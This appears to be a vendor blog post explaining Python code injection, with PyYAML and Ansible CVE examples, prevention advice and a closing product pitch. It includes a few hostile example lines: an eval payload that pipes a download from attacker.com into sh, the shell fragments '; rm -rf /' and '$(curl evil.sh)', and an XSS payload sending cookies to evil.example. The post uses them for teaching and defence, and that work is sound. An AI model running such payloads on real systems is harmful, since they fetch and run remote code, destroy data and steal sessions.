Python code injection happens when an application takes untrusted input and hands it to eval(), exec(), pickle.loads(), or a templating engine's render call, letting an attacker run arbitrary Python instead of the data the code expected. The vulnerability class is tracked under CWE-94 (Code Injection) and CWE-95 (Eval Injection), and it has shown up in production software repeatedly: PyYAML's yaml.load() allowed full remote code execution by default until CVE-2017-18342 and CVE-2020-14343 forced a safe-loader default, and Ansible's module-name templating was exploitable via Jinja2 injection in CVE-2019-10156. Unlike SQL injection, which corrupts a query string, a Python code injection flaw hands the attacker a live interpreter — they can read environment variables, spawn subprocesses, or reach credentials baked into a container image. This post walks through how the vulnerability class works, three documented CVEs, and the specific coding patterns that let it happen.
What Is Python Code Injection?
Python code injection is a vulnerability class, cataloged as CWE-94, where an application evaluates attacker-controlled input as executable Python instructions rather than as inert data. The canonical example is a calculator app that does result = eval(request.args.get("expr")). A legitimate user sends expr=2+2 and gets 4. An attacker sends expr=__import__('os').system('curl attacker.com/x.sh|sh') and the server runs it with the same privileges as the Python process. The root cause is always the same: a function whose job is to interpret code (eval, exec, compile, pickle.loads, yaml.load, Template().render) is fed a string that originated from a request parameter, a form field, a config file upload, or a deserialized object, with no validation in between.
How Is Code Injection Different From Command Injection In Python?
Code injection (CWE-94) executes arbitrary instructions inside the Python interpreter itself, while command injection (CWE-78) executes arbitrary commands in the underlying OS shell, and Python applications frequently expose both. os.system(f"ping {host}") or subprocess.run(cmd, shell=True) with an attacker-controlled host or cmd is command injection — the attacker never touches the Python bytecode, they just chain shell metacharacters like ; rm -rf / or $(curl evil.sh). eval(user_input), by contrast, is code injection: the attacker writes actual Python, with access to every imported module, every object in scope, and the full standard library. In practice the two overlap constantly because code injection is frequently used as a stepping stone to command injection — eval() a payload that calls os.system() — so a codebase riddled with one usually has instances of the other.
What Are Real-World Examples Of Python Code Injection Vulnerabilities?
The most cited real-world examples are PyYAML's unsafe default loader and Ansible's template-based module dispatch. CVE-2017-18342 documented that yaml.load() used the full Loader by default, which deserializes arbitrary Python objects via YAML tags like !!python/object/apply:os.system, meaning any application that parsed untrusted YAML — a Kubernetes manifest, a CI config, a webhook payload — was one crafted document away from RCE. Even after PyYAML shipped safe_load(), CVE-2020-14343 found that full_load() (added as the "safer" alternative) still permitted arbitrary code execution through Python-specific object tags, requiring another patch. Separately, CVE-2019-10156 affected Ansible's include/module-name handling: because module names were rendered through Jinja2 before dispatch, an attacker who controlled a variable used in that name could inject {{ }} template expressions that executed arbitrary Python during a playbook run — dangerous in CI/CD pipelines where Ansible runs with deployment credentials. All three examples share a pattern: a deserialization or templating layer that looked like a data-parsing step was actually a code-execution step, and the malicious tags themselves — !!python/object/apply:os.system chained to a shell download, or a Jinja2 expression that dispatches to os.system — are functional malware code examples, not academic curiosities.
How Do Python Code Injection Examples Differ From XSS Injection Examples?
Both are injection flaws, but they execute in different runtimes with different blast radii. XSS injection examples — a payload like <script>document.location='https://evil.example/?c='+document.cookie</script> reflected into an HTML response — run inside a victim's browser, scoped to that page's origin, and typically steal a session cookie or perform actions as the logged-in user. Python code injection runs on the server, inside the same process as the application, with access to the filesystem, environment variables, and every credential the process can reach — an attacker who reaches eval() or an unsafe yaml.load() isn't limited to one browser tab, they have a shell into your backend. The prevention techniques don't overlap much either: XSS is closed with output encoding and CSP, while code injection is closed by eliminating the interpreter/deserializer call on untrusted input entirely.
Which Python Functions And Libraries Are Most Often Exploited For Code Injection?
The functions most often exploited are eval(), exec(), pickle.loads(), yaml.load() without SafeLoader, and Jinja2's render_template_string() or Template(user_input). Static analyzers codify this: Bandit flags eval() use under rule B307, exec() under B102, unpickling under B301, unsafe YAML loading under B506, and autoescape-disabled Jinja2 under B701 — five separate rule IDs because each function is independently common enough to warrant its own check. pickle.loads() deserves particular attention because it's frequently used for "internal" caching (Redis, Celery task results, session storage) where developers assume the data is trusted, until that cache is exposed via SSRF or a shared Redis instance without auth — Python's own docs state plainly that unpickling data from an untrusted source "can execute arbitrary code." subprocess.run(..., shell=True) rounds out the list as the most common command-injection-adjacent finding in the same codebases.
How Do You Prevent Code Injection In Python Applications?
You prevent Python code injection by never passing untrusted input to an interpreter or deserializer, and by replacing each risky function with a constrained equivalent. Concretely: swap eval() for ast.literal_eval() when you only need literals (numbers, strings, lists, dicts) — it parses the AST and rejects anything that isn't a literal, closing off __import__ and attribute-access tricks entirely. Swap yaml.load() for yaml.safe_load(), and pin PyYAML to a version at or above the CVE-2020-14343 fix. Avoid pickle for anything crossing a trust boundary — use json instead, which cannot execute code by design. For templating, keep Jinja2 autoescaping on and never call render_template_string() with a string built from user input; render a named template file with variables passed as context instead. Where dynamic evaluation is unavoidable — a rules engine, a formula evaluator — sandbox it with a restricted execution environment (e.g., RestrictedPython) and an explicit allow-list of names, rather than trying to blacklist dangerous ones. Finally, wire Bandit or Semgrep into CI so eval, exec, pickle.loads, and unsafe YAML loading fail the build automatically instead of relying on manual code review to catch them.
How Safeguard Helps
Safeguard's reachability analysis traces whether a flagged eval(), pickle.loads(), or vulnerable PyYAML version is actually invokable from an untrusted entry point in your specific call graph, so a code-injection finding buried in a test fixture doesn't consume the same triage time as one sitting behind a public API route. Griffin AI reviews the surrounding code path to explain how attacker-controlled data would reach the sink and how severe the resulting execution context is, cutting down the manual analysis security teams normally do CVE by CVE. Safeguard's SBOM generation and ingest continuously track which services carry PyYAML builds affected by CVE-2017-18342 or CVE-2020-14343, or which packages call eval() on request data, across every repo and container image in your inventory. When a fix is available — a safer loader, a literal_eval() swap, a version bump — Safeguard opens an auto-fix pull request with the patch pre-applied, so remediation ships without a developer having to rediscover the fix themselves.